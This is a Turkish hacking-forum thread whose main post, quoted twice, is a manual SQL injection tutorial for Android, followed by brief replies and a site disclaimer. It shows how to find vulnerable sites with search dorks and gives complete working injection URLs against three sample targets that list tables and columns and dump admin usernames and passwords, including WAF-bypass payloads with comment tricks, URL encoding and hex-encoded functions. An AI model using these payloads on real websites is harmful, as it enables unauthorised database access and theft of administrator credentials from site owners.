https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(username,0x203a3a20,0x3a,0x203a3a20,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4 -- -


eebab38bac7a.jpg



2. Hedef (Medium)

Biraz sohbet.


Başta söylediğim gibi altyapı olmadan çok bir ilerleme kaydedemezsiniz, lakin;
Sen altyapıyı hallettin mi?
derseniz.
Şuan onun için çaba harcıyorum diye bilirim.
Altyapıdan kastın ne?
Örneğin her hangi bir programlama dili bilmek.
Programlama dilleri farklılık göstersede merak ettiğiniz, yapmak istediğiniz, ilgilendiğiniz şeylerde yabancılık çekmiyorsunuz.
Şunu nasıl yaptı? sorusundan ziyade.
Şunu şöyle yapmış olmalı fikrine sahip olabiliyorsunuz.
Bu yüzden Manuel SQL Injection penetrasyon testleri arasında en zevk aldığım kısım.
Sebebi de penetrasyon testlerinde kullanılan bir çok tool'un aksine.
Tamamen yüzeysel bir şekilde olması.

Kısacası "Ne kadar emek, O kadar ekmek." kafası.

Hadi! Go.

SQL Injection kendi içinde türlere ayrılmakta.

Bu örnekte Blind SQL Injection'u inceleyelim.


3c75d55e351c.jpg


Blind SQL Injection site yapısında belirgin bir değişim gözlemlersiniz.
Bu değişim tüm yapıyı ya da küçük bir yapıyı kapsaya bilir.


b21bb2a680bf.jpg


Gördüğünüz gibi her hangi bir hata vermedi lakin site yapısı değişti.

http://hedefsite.edu.in/news.php?id=12' order by 1 --+

92885bbc8272.jpg


Hedef sitenin kolon sayısı 5
Biraz seri ilerleyelim.


http://hedefsite.edu.in/news.php?id=12' UNION SELECT 1,2,3,4,5 --+

60491e994f07.jpg


Gördüğünüz gibi bir waf konulmuş.


Waf bypass ile ilgili ilerleyen zamanda geniş çaplı bir konu açmayı düşünüyorum.
Şimdilik idare edin.


http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,2,3,4,5 --+

50c45b9d2749.jpg


Şimdi table çekelim.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4,5 --+


303f903195b4.jpg


Column name.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x61646d696e)AND(0x00)IN(@z:=CONCAT(0x20,@z,COLUMN_NAME,0x3c62723e))))z),3,4,5 --+

70d61972518d.jpg


Data dump.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x203a3a20,0x3a,0x203a3a20,password,0x3c62723e))))x),3,4,5 --+

0fc52f05c8ec.jpg



3.Hedef (Hard)

Bu örnekte hedefle biraz dost olmak lazım.

Bu dostluk çıkar dostluğu.
Yabancılık çekmeyenler vardır elbet.

Bu dostumuzun hasta olduğunu farz edelim ve 3 aşamada inceleyelim.


1. Aşama (Teşhis)

Mevcut hedefin bir dorku olduğunu biliyoruz.


Hedefimizin dorku şu olsun:
news.php?id=1

Mevcut dork ile tarama yaptığımızda karşımıza çıkan bir hedefe bakalım.


Normalde beklentimiz şu :


Lakin hedef .com olarak bitiriyor ve "news.php?id=1" kısmını eklesek de anlık yönlendirme yaparak tekrardan "hedefsite.com" oluyor.

Yönlendirmeyi kapata bilirmiyiz?
Evet.


Deneyelim.

5e95a2d44fbd.png


Yönlendirmeyi engellesekde bir sonuç alamıyoruz.

Bu kısmı şu şekilde düşüne biliriz;

Dostumuz bize "Şu nedenlerden hasta olmuş olabilirim" dedi.
Bizde ona göre ilerledik.

Atladığımız nokta ALDATILDIK.

Dostumuzun röntgen sonuçlarına bakalım yani
view source...

12569a835a6d.jpg


Gördüğünüz gibi "
id" değeri farkı var.


Peki bu "id" değeri yönlendirmeyi etkileyecek mi?
Hayır. Hedef tekrardan yönlendirme yapacaktır o yüzden yönlendirmeyi kapatalım.

Not: Bu durumda hedef sahibi yönlendirmeyi karakter filtrelemesi yaparak sağlamış.
Örneğin: .htacsess dosyasından sql injection da kullanılan karakterleri filtreleyerek anasayfaya yönlendirme yapabilir.


Aslında tüm mesele deneme/yanılmaya bakıyor bu da zamanla olur.

2. Aşama (Tedavi)

Order by kısmı waf'lı olduğu için bypass'ladık.

https://ww.w.hedefsite.com/news.php?id=8 +AND+MOD(29,9)+/*!50000ORDER/**_**/*/+/*!50000BY/**_**/*/+11 --+










d4db4e562c12.jpg


"UNION SELECT"
kısmıda waf'lı olduğu için bypass'layalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1','2','3','4','5','6','7','8','9','10','11' --

Table kısmına bakalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),'3','4','5','6','7','8','9','10','11' --+


390a625c3167.jpg


Table ve column çekerken genelde bypass'lanacak yerler:

INFORMATION_SCHEMA
FROM
WHERE
SELECT
GROUP_CONCAT
table_name

column_name

Ben size yinede bir tüyo verim.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=
CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+

Tek tek denemek yerine
"
/*!50000CoNcAt*/ "
bu şekil yaparak %90 tepki alırsınız.

Lakin bu dostumuzda farklı bir durum var.

Bypass istediği kesin ama bypass dışında diyor ki:
Bu kısımda bana komut vere bilmen için "komut sistemleri arasında sayı sistemi dönüşümü yap."

Yani anlayacağınız hex kodlaması istiyor.

DH-HACKBAR' da hex kodlaması yapa bileceğiniz bir bölüm yok.
Pc üzerinde ki hackbarlar da mevcut.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=/*!50000436F4E634174*/(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+


99b66a8e3975.jpg


3.Aşama (Sonuç)

Sonuç şu arkadaşlar.


SADECE BAŞARMAK İSTEYİN
VE
YAPIN


Esenlikler dilerim.

İYİ FORUMLAR


Dikkat

"hedefsite" formatında hiç bir siteye zarar verilmemiştir.

Konuya hitaben yapacağınız tüm aktivitelerde SORUMLULUK SİZE AİTTİR.
Selamın aleyküm kardeşim öncelikle konu cidden çok iyi manuel SQL injection için açılmış en iyi konulardan hatta uzun uzun anlattığın için tekrardan teşekkür ederim. Ama sonlarda anlamadığım bı kaç kısım var bu anlatıklarinin hepsini bir videoda toplasan sana cok minnettar kalırım umarım olumlu bir dönüş yaparsın iyi geceler dilerim tekrardan teşekkür ederim:)
 

Liprow

Katılımcı Üye
15 Şub 2021
415
532
Selamın aleyküm kardeşim öncelikle konu cidden çok iyi manuel SQL injection için açılmış en iyi konulardan hatta uzun uzun anlattığın için tekrardan teşekkür ederim. Ama sonlarda anlamadığım bı kaç kısım var bu anlatıklarinin hepsini bir videoda toplasan sana cok minnettar kalırım umarım olumlu bir dönüş yaparsın iyi geceler dilerim tekrardan teşekkür ederim:)
Aleykümselam. Anlamadığın yerleri özelden ya da buradan sorabilirsin, video hususunda net bir şey söyleyemesem de waf bypass ile alakalı geniş çaplı bir konuyu yakın zamanda paylaşmayı düşünüyorum. Ben teşekkür ederim iyi geceler...

Gayet iyi bi konu olmuş, ellerinize sağlık.
Teşekkürler...
 

Trenbolone

Üye
28 Ocak 2023
209
392
Calculus Δy/Δx
Eline sağlık bir öneride bulunayım. WAF konunu bekliyoruz;

Önerim ise locale veya dışa da kurabilirsin, SQL açıklı bir web sitesi oluşturup.. Üzerine waf kurman, bu waf örneğin modsecurity olabilir gibi gibi..
Siteyi kendin kodlaman ve kodlarda bırakılan açıkları ve mantığına konu üzerinde yer vermen, hatta waf kurallarını bile dizayn edip vs. bunlara konu üzerinde yer vermen çok güzel olur. Açığın kapatılması ve waf kurallarını daha güvenli hale getirmeyi vb. yer vermen çok güzel olur.
 

Muslukcu

Katılımcı Üye
17 Kas 2021
699
263
Tesisat dükkanı
Manuel SQL Injection For Android

Merhaba

TURKHACKTEAM

Konuya geçmeden önce söylemek istediğim bir kaç husus var;
Bu tür penetrasyon testlerinde ezber niteliğinde ilerlendiği takdirde, belirli bir düzeyden sonra tıkanacağınızı unutmayın.
Nacizane tavsiyem temelden başlayıp yazılımsal bir kafa yapısına sahip olmanız.


Gerekli Araçlar

DH-HACKBAR
Termux
Her hangi bir VPN


Not: Termux ile alakalı bir şey göstermeyeceğim lakin SQLMAP, WPScan, HashCat vb. bir çok aracı termux üzerinden kullana bilirsiniz.

488e13b8b3e0.jpg


SQL DORK

Konuya hakim olan ya da olacak olan kişilerin, şüphesiz en ilgi duyduğu kısım Dork kısmıdır.
Ne kadar farklı ve kaliteli Dork oluşturursanız, o kadar farklılıkda ve kalitede hedef bulma şansınız artar.

Örneğin: inurl:
news.php?id=12 site:"com"
^ ^ ^ ^ ^
Gösterilen bölümleri değiştirerek bir çok hedef bula bilirsiniz.

Dork kısmında da VPN kullanmanızı öneririm.


DH-HACKBAR

Uygulamalı bir şekilde ilerleyelim.
Kullanılan komutların ne işe yaradığını bilmekte fayda var.

Order By : Verileri artan ya da azalan düzende sıralamak için kullanılır.

Group By : Tabloda ki verilere göre kolonları gruplandırma yöntemi denilebilir.

Select : Bir veritabanın'da yer alan bir veya daha fazla tablodan istenen satır değerlerini almak için kullanılır.

Union : Birden fazla "select" komutunun çalışmasını sağlar.

Where : Sadece belirli kriterlere göre sorgulama yapmak için kullanılır.

Başlangıç düzeyinde 3 hedef gösterelim.

1. Hedef (Easy)



"id=1" yazan yere "
' " parametresini ekleyerek açık olup olmadığını kontrol edelim.

Not: Yanlış kodlama PHP ve ASP sistemlerinde ID değerinde oluşur.

YxfqI.jpg


Beklenen hatayı aldık.

https://hedefsite.net/product.php?id=1' order by 1 -- -

Her hangi bir değişiklik olmadığı için "
' " parametresini silelim.

https://hedefsite.net/product.php?id=1 order by 1 -- -

zNQkv7x1WH3.jpg



Şimdi "order by" komutunun yanında ki "1" sayısını hata alana kadar arttıralım.


7GsKX6CNh.jpg


Hatamız 5 sayısında belirdiğine göre 1 ile 5 arasında bir sayı almamız gerek.

O yüzden;

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,2,3,4 -- -

Not: Sayıyı göremediğiniz zaman id değerinin önüne "-" parametresini koyun.

svIcHlVqRdA.jpg


Database ismini öğrenelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,database(),3,4 -- -

Ang1f_-.jpg


Database ismini de öğrendiğimize göre şimdi table kısmına geçelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4 -- -

c7d56d02d932.jpg


Bazı istisnalar hariç username ve password kısmı genelde
admin, admins, user, users vb. tablolarda bulunur.

Admin'e bakmak için column komutunu kullanalım.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e+AND+TABLE_SCHEMA=DATABASE()),3,4 -- -


8c477c2337bd.jpg



Son olarak da datayı dump edelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(username,0x203a3a20,0x3a,0x203a3a20,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4 -- -


eebab38bac7a.jpg



2. Hedef (Medium)

Biraz sohbet.


Başta söylediğim gibi altyapı olmadan çok bir ilerleme kaydedemezsiniz, lakin;
Sen altyapıyı hallettin mi?
derseniz.
Şuan onun için çaba harcıyorum diye bilirim.
Altyapıdan kastın ne?
Örneğin her hangi bir programlama dili bilmek.
Programlama dilleri farklılık göstersede merak ettiğiniz, yapmak istediğiniz, ilgilendiğiniz şeylerde yabancılık çekmiyorsunuz.
Şunu nasıl yaptı? sorusundan ziyade.
Şunu şöyle yapmış olmalı fikrine sahip olabiliyorsunuz.
Bu yüzden Manuel SQL Injection penetrasyon testleri arasında en zevk aldığım kısım.
Sebebi de penetrasyon testlerinde kullanılan bir çok tool'un aksine.
Tamamen yüzeysel bir şekilde olması.

Kısacası "Ne kadar emek, O kadar ekmek." kafası.

Hadi! Go.

SQL Injection kendi içinde türlere ayrılmakta.

Bu örnekte Blind SQL Injection'u inceleyelim.


3c75d55e351c.jpg


Blind SQL Injection site yapısında belirgin bir değişim gözlemlersiniz.
Bu değişim tüm yapıyı ya da küçük bir yapıyı kapsaya bilir.


b21bb2a680bf.jpg


Gördüğünüz gibi her hangi bir hata vermedi lakin site yapısı değişti.

http://hedefsite.edu.in/news.php?id=12' order by 1 --+

92885bbc8272.jpg


Hedef sitenin kolon sayısı 5
Biraz seri ilerleyelim.


http://hedefsite.edu.in/news.php?id=12' UNION SELECT 1,2,3,4,5 --+

60491e994f07.jpg


Gördüğünüz gibi bir waf konulmuş.


Waf bypass ile ilgili ilerleyen zamanda geniş çaplı bir konu açmayı düşünüyorum.
Şimdilik idare edin.


http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,2,3,4,5 --+

50c45b9d2749.jpg


Şimdi table çekelim.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4,5 --+


303f903195b4.jpg


Column name.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x61646d696e)AND(0x00)IN(@z:=CONCAT(0x20,@z,COLUMN_NAME,0x3c62723e))))z),3,4,5 --+

70d61972518d.jpg


Data dump.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x203a3a20,0x3a,0x203a3a20,password,0x3c62723e))))x),3,4,5 --+

0fc52f05c8ec.jpg



3.Hedef (Hard)

Bu örnekte hedefle biraz dost olmak lazım.

Bu dostluk çıkar dostluğu.
Yabancılık çekmeyenler vardır elbet.

Bu dostumuzun hasta olduğunu farz edelim ve 3 aşamada inceleyelim.


1. Aşama (Teşhis)

Mevcut hedefin bir dorku olduğunu biliyoruz.


Hedefimizin dorku şu olsun:
news.php?id=1

Mevcut dork ile tarama yaptığımızda karşımıza çıkan bir hedefe bakalım.


Normalde beklentimiz şu :


Lakin hedef .com olarak bitiriyor ve "news.php?id=1" kısmını eklesek de anlık yönlendirme yaparak tekrardan "hedefsite.com" oluyor.

Yönlendirmeyi kapata bilirmiyiz?
Evet.


Deneyelim.

5e95a2d44fbd.png


Yönlendirmeyi engellesekde bir sonuç alamıyoruz.

Bu kısmı şu şekilde düşüne biliriz;

Dostumuz bize "Şu nedenlerden hasta olmuş olabilirim" dedi.
Bizde ona göre ilerledik.

Atladığımız nokta ALDATILDIK.

Dostumuzun röntgen sonuçlarına bakalım yani
view source...

12569a835a6d.jpg


Gördüğünüz gibi "
id" değeri farkı var.


Peki bu "id" değeri yönlendirmeyi etkileyecek mi?
Hayır. Hedef tekrardan yönlendirme yapacaktır o yüzden yönlendirmeyi kapatalım.

Not: Bu durumda hedef sahibi yönlendirmeyi karakter filtrelemesi yaparak sağlamış.
Örneğin: .htacsess dosyasından sql injection da kullanılan karakterleri filtreleyerek anasayfaya yönlendirme yapabilir.


Aslında tüm mesele deneme/yanılmaya bakıyor bu da zamanla olur.

2. Aşama (Tedavi)

Order by kısmı waf'lı olduğu için bypass'ladık.

https://ww.w.hedefsite.com/news.php?id=8 +AND+MOD(29,9)+/*!50000ORDER/**_**/*/+/*!50000BY/**_**/*/+11 --+










d4db4e562c12.jpg


"UNION SELECT"
kısmıda waf'lı olduğu için bypass'layalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1','2','3','4','5','6','7','8','9','10','11' --

Table kısmına bakalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),'3','4','5','6','7','8','9','10','11' --+


390a625c3167.jpg


Table ve column çekerken genelde bypass'lanacak yerler:

INFORMATION_SCHEMA
FROM
WHERE
SELECT
GROUP_CONCAT
table_name

column_name

Ben size yinede bir tüyo verim.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=
CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+

Tek tek denemek yerine
"
/*!50000CoNcAt*/ "
bu şekil yaparak %90 tepki alırsınız.

Lakin bu dostumuzda farklı bir durum var.

Bypass istediği kesin ama bypass dışında diyor ki:
Bu kısımda bana komut vere bilmen için "komut sistemleri arasında sayı sistemi dönüşümü yap."

Yani anlayacağınız hex kodlaması istiyor.

DH-HACKBAR' da hex kodlaması yapa bileceğiniz bir bölüm yok.
Pc üzerinde ki hackbarlar da mevcut.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=/*!50000436F4E634174*/(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+


99b66a8e3975.jpg


3.Aşama (Sonuç)

Sonuç şu arkadaşlar.


SADECE BAŞARMAK İSTEYİN
VE
YAPIN


Esenlikler dilerim.

İYİ FORUMLAR


Dikkat

"hedefsite" formatında hiç bir siteye zarar verilmemiştir.

Konuya hitaben yapacağınız tüm aktivitelerde SORUMLULUK SİZE AİTTİR.
Elinize sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.